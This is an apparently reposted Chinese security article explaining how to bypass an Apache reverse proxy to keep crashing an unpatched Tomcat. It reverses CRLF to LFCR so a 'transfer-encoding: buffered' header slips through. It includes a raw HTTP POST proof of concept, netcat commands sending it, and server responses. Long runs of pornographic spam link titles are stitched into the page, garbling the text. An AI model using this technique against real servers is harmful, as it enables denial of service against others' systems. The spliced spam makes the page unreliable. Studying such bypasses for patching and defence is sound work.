精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

繞過Apache http代理繼續DoS tomcat

安全
從長遠的角度講,一個完整的安全方案,應該是和現有架構本身的特性,是分開的,它并不能因為現有應用架構攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應用現有的特性,那就要承受可能被繞過的隱患,這種隱患,導致我們總有一天,會不得不把補丁老老實實的打上去。如本文就是一個很好的例子。

從長遠的角度講,一個完整的安全方案,應該是和現有架構本身的特性,是分開的,它并不能因為現有應用架構攔截了攻擊,于是自己就表示影響不大。如果安全方案總是依靠應用現有的特性,那就要承受可能被繞過的隱患,這種隱患,導致我們總有一天,會不得不把補丁老老實實的打上去。如本文就是一個很好的例子。

筆者根據TOMCAT的補丁,分析出了攻擊未修補版本的POC,相信不少人體驗了一把。然而在實際使用中,只有小公司喜歡把tomcat放在最外面。大企業都喜歡在tomcat外面使用apache等web server轉發,以便獲得更好的響應速度,或者為了分離靜態文件,減輕服務器壓力。

對于這樣的情況,你會發現使用筆者給的POC,這里是無效的,關于這一點,官方如下描述“This flaw is mitigated if Tomcat is behind a reverse proxy (such as Apache httpd 2.2) as the proxy should reject the invalid transfer encoding header.”他說如果你的tomcat外面還有一層web server做轉發,就會減輕這個漏洞帶來的危害。

也許大家看到這個,放心了很多,就沒有修補。

官方這么講,是什么原理呢?我們看下攻擊的POC:

POST /CodePK/updateinfo HTTP/1.1

Host: localhost

Keep-Alive: 300

Connection: keep-alive

transfer-encoding: buffered

Content-Length: 145

u_uid=admin&u_pwd0=123456&u_pwd1=&u_pwd2=&u_email=rfes%40rfes.com&u_location=B2B&u_lang=1&u_web=22222222&u_quote=ffvd&u_submit=%E6%8F%90%E4%BA%A4

遇到這樣的HTTP頭,apache會因為有”transfer-encoding: buffered”,則自動攔截下來,自己處理掉這個數據包,不交給tomcat處理,并直接返回錯誤。這是出于apache自己的原因造成的,但是這不重要。重要的是,這個攔截的機制,能否被繞過。TOMCAT仍然老老實實的在apache后面等候數據包,如果能繞過,它就會再次忠實的睡大覺。要繞過apache的“自動攔截”(這個名字好記點),就必須讓apache不認識這個頭。

發個數據包,這是攔截后返回的信息:

A:\tools>nc -vv localhost 80 < aa.txt

DNS fwd/rev mismatch: kxlzx != localhost

billgates [127.0.0.1] 80 (http) open

HTTP/1.1 500 Internal Server Error

……..省略

The server encountered an internal error or

misconfiguration and was unable to complete

your request.

…….省略

Apache返回了500 Internal Server Error,如果去掉那個頭”transfer-encoding: buffered”,返回就200 OK了,但是也就打不死了。

看起來這是個死循環,永遠搞不定,所以tomcat官方也說了能減輕危害。

但是,如果apache和tomcat對某些字符的理解不一致,可能會apache放過某些字符,但是tomcat卻剛巧認識,又如果這個字符剛好能影響到這里,就會bypass這個所謂的“防御架構”,所以我們找找看有沒有這樣“猥瑣”的字符存在。

Apache和Tomcat實現原理不一樣(廢話),所以,對一些字符可能理解不一致,是正常的。

我們先看看大家對http heads的分段是如何理解的,我查到“CRLF”,從apache源碼中看到,它把crlf定義為“\r\n”,轉換為也就是16進制的“0D 0A”(為什么提16進制等下講),這個供參考:https://svn.apache.org/repos/asf/httpd/flood/trunk/flood_test.c

其實我不熟悉C,也不知道這段主要是做什么的,但是看到它的確定義了

“#define CRLF "\r\n"”,只有這一個對crlf的定義。

這有什么用呢?這其實表示,apache所理解CRLF,就是“\r\n”,它不認識“\n\r”(看仔細點,反過來了)。

悲劇的是,tomcat和JBOSS認識它們,并且很喜歡它們!

Tomcat和jboss對這個東西的定義含義是

“If (xx==’\r’|| xx==’\n’)”

就是說,不但把字符反過來寫它們認識,就算拆成骨頭,TOMCAT和JBOSS也認識。

知道了這個關鍵點,下面思路就有了。我們把”transfer-encoding: buffered”這個字段,偽裝成其他字段的一部分,讓apache放過去,交給tomcat處理就可以了。

POC:

于是我使用16進制編輯器,UltraEdit打開我復制出來的數據包文件aa.txt

找到

transfer-encoding: buffered

把這一行之前的字符

注意括起來的兩個地方,把它們順序分別顛倒一下,兩個地方的“0D 0A”都改為“0A 0D”。改后如下:

原來包是這樣的:

Connection: keep-alive         這是字段1

transfer-encoding: buffered   這是字段2

Content-Length: 145           這是字段3

三個字段其實屬于同一個字符串,他們的間隔本來是“\r\n”,我們改為“\n\r”。一旦這個包發給apache后,apache認為只有一個字段”Connection”過來了,接著就把這個字段原封不動的交給tomcat。#p#

可憐的tomcat看到這個包,卻認為它是三個字段,解開了這個炸藥包,所以,砰。。。掛了

現在把我改后的文件,使用nc提交上去:

責任編輯:佟健 來源: IT專家網
相關推薦

2011-03-15 08:54:43

2014-10-22 09:36:41

TCPIP

2009-06-26 10:07:16

2011-04-07 09:06:31

Tomcat

2013-04-26 10:59:54

目錄遍歷漏洞

2012-05-18 15:52:49

JavaApacheTomcat

2012-05-30 10:09:57

ApacheTomcat

2013-07-09 14:36:24

2024-04-26 09:04:13

2020-08-11 08:25:21

HTTPSSHLinux防火墻

2011-12-07 10:34:29

JavaTomcat

2017-02-12 22:29:59

2011-02-25 11:16:38

ApacheTomcat

2015-12-02 15:29:32

HTTP網絡協議代理原理

2015-12-02 14:10:56

HTTP網絡協議代理原理

2010-09-08 15:35:35

2013-08-08 10:09:22

ApacheTomcatJavaEE 7

2014-04-18 09:55:49

Tomcat 8NIO 2

2009-07-06 17:49:02

Apache的配置JBoss的配置
點贊
收藏

51CTO技術棧公眾號

我要看黄色一级片| 欧美性猛交内射兽交老熟妇| 国产免费av一区| 日本不卡二三区| 日韩欧美不卡在线观看视频| 国产黄页在线观看| 国产视频二区在线观看| 国产在线精品视频| 欧美一区二区三区精品电影| 污污视频网站在线免费观看| 超碰精品在线观看| 欧美曰成人黄网| 亚洲 自拍 另类小说综合图区| 噜噜噜噜噜在线视频| 日韩黄色免费电影| 欧美激情手机在线视频| 黄色av片三级三级三级免费看| 亚洲国产高清在线观看| 欧亚一区二区三区| 亚洲精品无码国产| 精品176二区| 久久精品视频在线免费观看| 国产精品久久精品国产| 97国产成人无码精品久久久| 午夜在线一区二区| 亚洲福利网站| 中文字幕一区二区三区色视频| 国产亚洲精品美女久久久m| 91 中文字幕| 久久久久欧美精品| 久久久人成影片一区二区三区观看| www.av天天| 欧美亚视频在线中文字幕免费| 男女男精品网站| 国产精品国产三级国产a| 好吊色欧美一区二区三区视频| 在线观看亚洲国产| 丝袜美腿一区二区三区| 国内精久久久久久久久久人| 国产午夜手机精彩视频| 菠萝蜜一区二区| 亚洲无线码在线一区观看| 国产xxxxxxxxx| 国产精品超碰| 精品国产精品一区二区夜夜嗨| 亚洲理论中文字幕| 一区二区三区日本视频| 欧美日韩亚洲综合在线| 五月婷婷六月合| 成人看片网页| 欧美最猛黑人xxxxx猛交| 日本wwww视频| 亚洲人体视频| 黑人精品xxx一区| 黄色国产一级视频| 美女搞黄视频在线观看| 激情av一区二区| 中国丰满人妻videoshd| 日本三级一区| 欧美性猛交xxxx乱大交3| 成人免费毛片网| 欧美大胆a人体大胆做受| 欧美日韩国产一区中文午夜| 国产精品后入内射日本在线观看| 国产污视频在线播放| 日韩欧美在线免费观看| 午夜免费福利在线| 欧美激情三区| 日韩欧美在线影院| 中文字幕第九页| 日韩大片在线免费观看| 亚洲欧美自拍一区| 懂色av粉嫩av浪潮av| 成人情趣视频网站| 两个人的视频www国产精品| 欧美日韩在线视频免费| 伊人成年综合电影网| 欧美性视频在线| 最新中文字幕第一页| 经典三级在线一区| 国产91精品入口17c| 日韩午夜影院| 国产精品色婷婷| 欧美精品在欧美一区二区| 538在线精品| 蜜桃精品wwwmitaows| 色综合天天综合网国产成人综合天 | 成人深夜视频在线观看| 久久久久网址| 在线免费观看黄色| 亚洲专区一二三| 免费看黄色一级大片| 成人亚洲精品| 精品亚洲一区二区三区在线播放 | 杨幂一区二区三区免费看视频| 中文字幕精品www乱入免费视频| 国产av 一区二区三区| 99伊人成综合| 91精品视频专区| 天堂在线观看免费视频| 欧美激情一区二区三区不卡| 日本黄色片一级片| 国产福利亚洲| 亚洲国产精品成人精品| 潮喷失禁大喷水aⅴ无码| 一区在线免费观看| 国产日韩精品在线播放| 天天操天天爱天天干| 中文字幕一区二区三区色视频 | 日本不卡一区二区三区| 成人在线视频电影| 99中文字幕一区| 五月激情丁香一区二区三区| 亚洲三级在线观看视频| 亚洲+小说+欧美+激情+另类| 欧美成人合集magnet| 国产女主播喷水视频在线观看 | 欧美日韩在线三级| 精品国产一区在线| 一区二区三区四区日韩| 日本一本a高清免费不卡| 精品人妻久久久久一区二区三区| 国产欧美日韩不卡| 精品少妇人妻av免费久久洗澡| 电影一区二区三区久久免费观看| 亚洲天堂久久av| 日本一本高清视频| 国产一区二区电影| 亚洲欧洲日夜超级视频| 国产一区二区网| 日本一区二区电影| 日韩精品在线观| 日本五十熟hd丰满| 成人性生交大片免费看中文网站| 在线一区日本视频| 久久女人天堂| 亚洲最新视频在线| 最近免费中文字幕大全免费版视频| 成人久久久精品乱码一区二区三区| 日本特级黄色大片| 色综合视频一区二区三区日韩| 国产香蕉97碰碰久久人人| 日韩在线观看第一页| av中文字幕不卡| 日韩 欧美 视频| 在线精品视频一区| 欧美精品久久久久久久久| www.污视频| 一区二区三区四区高清精品免费观看 | 在线不卡av电影| 亚洲伊人观看| 日韩精品久久一区二区三区| 欧美成a人片在线观看久| 亚洲热线99精品视频| 天堂中文在线网| 久久久久久9999| 在线观看av日韩| 日韩a一区二区| 91午夜在线播放| 污污视频在线| 精品国产乱码久久久久久久久| 国产亚洲精品码| 97国产一区二区| 欧美一级黄色影院| 久久精品av| 亚洲一区二区在线| 国产桃色电影在线播放| 亚洲第一天堂av| jizz国产在线观看| 国产精品久久看| 中文字幕视频观看| 久久尤物视频| 人人妻人人澡人人爽精品欧美一区| 玖玖玖电影综合影院| 久久久久久久国产| 免费福利在线视频| 欧美嫩在线观看| 久久精品国产亚洲av高清色欲| 91香蕉视频mp4| 熟妇人妻无乱码中文字幕真矢织江| 欧美残忍xxxx极端| 国产高清精品一区二区三区| 伊人久久国产| 久久亚洲一区二区三区四区五区高| 亚洲爱爱综合网| 色噜噜狠狠色综合欧洲selulu| 国产男女猛烈无遮挡在线喷水| 不卡av在线网| 免费看涩涩视频| 影音先锋久久精品| 色一情一乱一伦一区二区三区丨| 精品国产一区二| 日本久久久a级免费| 国产最新在线| 亚洲欧美国产日韩天堂区| 国产又粗又大又黄| 精品国产91久久久久久| 日本中文在线视频| 久久久午夜精品| 在线播放第一页| 久久激情五月婷婷| 99视频在线免费播放| 99久久亚洲精品蜜臀| 久久国产精品 国产精品| 999色成人| 国产精品v日韩精品| 91九色国产在线播放| x99av成人免费| 国产中文字幕在线观看| 亚洲福利小视频| 国产丝袜在线视频| 欧美怡红院视频| 久久狠狠高潮亚洲精品| 136国产福利精品导航| 永久免费看mv网站入口78| 国产99久久精品| 男人午夜视频在线观看| 奇米综合一区二区三区精品视频| 男的插女的下面视频| 国产精品麻豆久久| 四虎一区二区| 婷婷成人综合| 国产一区免费| 136导航精品福利| 亚洲一区二区三区视频播放| 欧洲亚洲精品| 国产精品极品尤物在线观看| 超碰一区二区| 欧美一级淫片aaaaaaa视频| 特级毛片在线| 欧美日韩福利电影| 少女频道在线观看高清| 另类少妇人与禽zozz0性伦| www.亚洲资源| 一本色道久久综合狠狠躁篇的优点| 亚洲三区在线播放| 亚洲国产又黄又爽女人高潮的| 亚洲高清在线观看视频| 日韩视频不卡中文| aaa一区二区| 精品人在线二区三区| a级片在线播放| 日韩三级高清在线| 亚洲av无码专区在线| 日韩欧美一二区| а√中文在线资源库| 日韩精品一区二区三区三区免费| 国产精品毛片一区二区在线看舒淇| 欧美色视频在线| 亚洲一区二区色| 7777女厕盗摄久久久| av天堂一区二区三区| 两个人看的在线视频www| 久久av一区| 亚洲电影一二三区| 欧州一区二区| 亚洲一区二区精品在线观看| 色喇叭免费久久综合| 一区二区日本| 欧美a级片一区| 国产3p露脸普通话对白| 一本久道综合久久精品| 日韩中文字幕二区| 日韩精品亚洲一区| 国产精品区在线| 成人性色生活片免费看爆迷你毛片| 理论片大全免费理伦片| 91小视频在线免费看| 老头老太做爰xxx视频| 自拍偷拍国产亚洲| 久久这里只有精品免费| 精品久久香蕉国产线看观看gif| 国产寡妇亲子伦一区二区三区四区| 欧美亚洲愉拍一区二区| 99在线观看免费| 亚洲精品久久久久国产| 国产在线视频网| 久久天天躁狠狠躁夜夜av| 大香伊人久久| 国产精品av网站| 色妞ww精品视频7777| 久久久av水蜜桃| 99久久精品费精品国产风间由美| 男人天堂手机在线视频| 日本人妖一区二区| 欧美色图校园春色| 久久综合狠狠综合久久激情| 中文字幕求饶的少妇| 午夜日韩在线电影| 精品久久久久久久久久久久久久久久久久 | 国产一区二区三区美女| 中文字幕一区二区三区乱码不卡| 久久精品欧美日韩精品| 久久国产精品波多野结衣| 日韩欧美精品免费在线| 国产手机精品视频| 精品一区二区三区四区在线| caoporn97在线视频| 欧美亚洲激情在线| 欧美日韩黄色| 日韩在线三级| 亚洲伦伦在线| 久久久久久久高清| 久久久久国产一区二区三区四区| 欧美国产精品一二三| 色综合天天天天做夜夜夜夜做| 成人1区2区3区| 日韩中文字幕av| 中国色在线日|韩| 粉嫩av一区二区三区免费观看| 欧美三级美国一级| 国产免费黄色av| 国产寡妇亲子伦一区二区| 国产又粗又猛又爽又黄的视频四季 | 春暖花开亚洲一区二区三区| 国产高清自拍99| 国产大片一区| 三级a在线观看| 久久亚区不卡日本| 日本在线视频免费| 日韩欧美国产麻豆| 黄网页免费在线观看| 国产精品网址在线| 欧美精品一区二区三区中文字幕| 777777av| 99re在线精品| 国产精品第九页| 欧美tk丨vk视频| 羞羞视频在线观看免费| 91久久精品在线| 91综合网人人| 国产美女18xxxx免费视频| 中文字幕乱码久久午夜不卡| 波多野结衣视频在线观看| 亚洲免费视频网站| 自拍偷拍欧美视频| 久久综合久久久| 午夜在线一区二区| 醉酒壮男gay强迫野外xx| 午夜精品福利久久久| 老牛影视av牛牛影视av| 欧美激情xxxx| 成人精品毛片| 成年人午夜视频在线观看| 不卡一区二区三区四区| 日韩三级视频在线| 亚洲精品国产免费| 国产精品粉嫩| 视频一区二区三区免费观看| 日韩av电影天堂| 人妻熟人中文字幕一区二区| 欧美系列日韩一区| 九义人在线观看完整免费版电视剧| 国产精品小说在线| 亚洲精品午夜av福利久久蜜桃| 波多野结衣免费观看| 一区二区三区美女视频| 亚洲精品中文字幕成人片| 97国产精品视频人人做人人爱| 美国成人xxx| 青青青在线播放| 最近日韩中文字幕| 亚洲精品18在线观看| 91精品国产91久久久| 国产一区日韩| 中文字幕欧美视频| 亚洲丶国产丶欧美一区二区三区| 四虎精品在永久在线观看| 国产脚交av在线一区二区| 亚欧美无遮挡hd高清在线视频| 香蕉视频免费网站| 色婷婷久久一区二区三区麻豆| av一区在线观看| av成人午夜| 国产精品免费看| 日本不卡一区视频| 亚洲精品一线二线三线| 婷婷六月国产精品久久不卡| 亚洲国产精品毛片| 粉嫩aⅴ一区二区三区四区五区| 草久久免费视频| 久久精品一本久久99精品| 国产精品视屏| 无限资源日本好片| 亚洲一区二区三区精品在线| 国产无套粉嫩白浆在线2022年| 国产综合香蕉五月婷在线| 亚洲高清毛片| 日本少妇aaa| 日韩精品在线看| 日本伊人久久| 午夜dv内射一区二区| 亚洲一区二区三区中文字幕在线| 久青草国产在线| 国产精品乱码视频| 麻豆视频一区二区| 亚洲伊人成人网| 欧美巨乳美女视频| 精品日本12videosex| 人妻激情偷乱频一区二区三区|

          A:\tools>nc -vv localhost 80 < aa.txt

          DNS fwd/rev mismatch: kxlzx != localhost

          billgates [127.0.0.1] 80 (http) open

          HTTP/1.1 404 Not Found

          Date: Sat, 24 Jul 2010 01:48:34 GMT

          Server: Apache-Coyote/1.1

          Content-Type: text/html;charset=utf-8

          Content-Length: 1006

          Keep-Alive: timeout=5, max=100

          Connection: Keep-Alive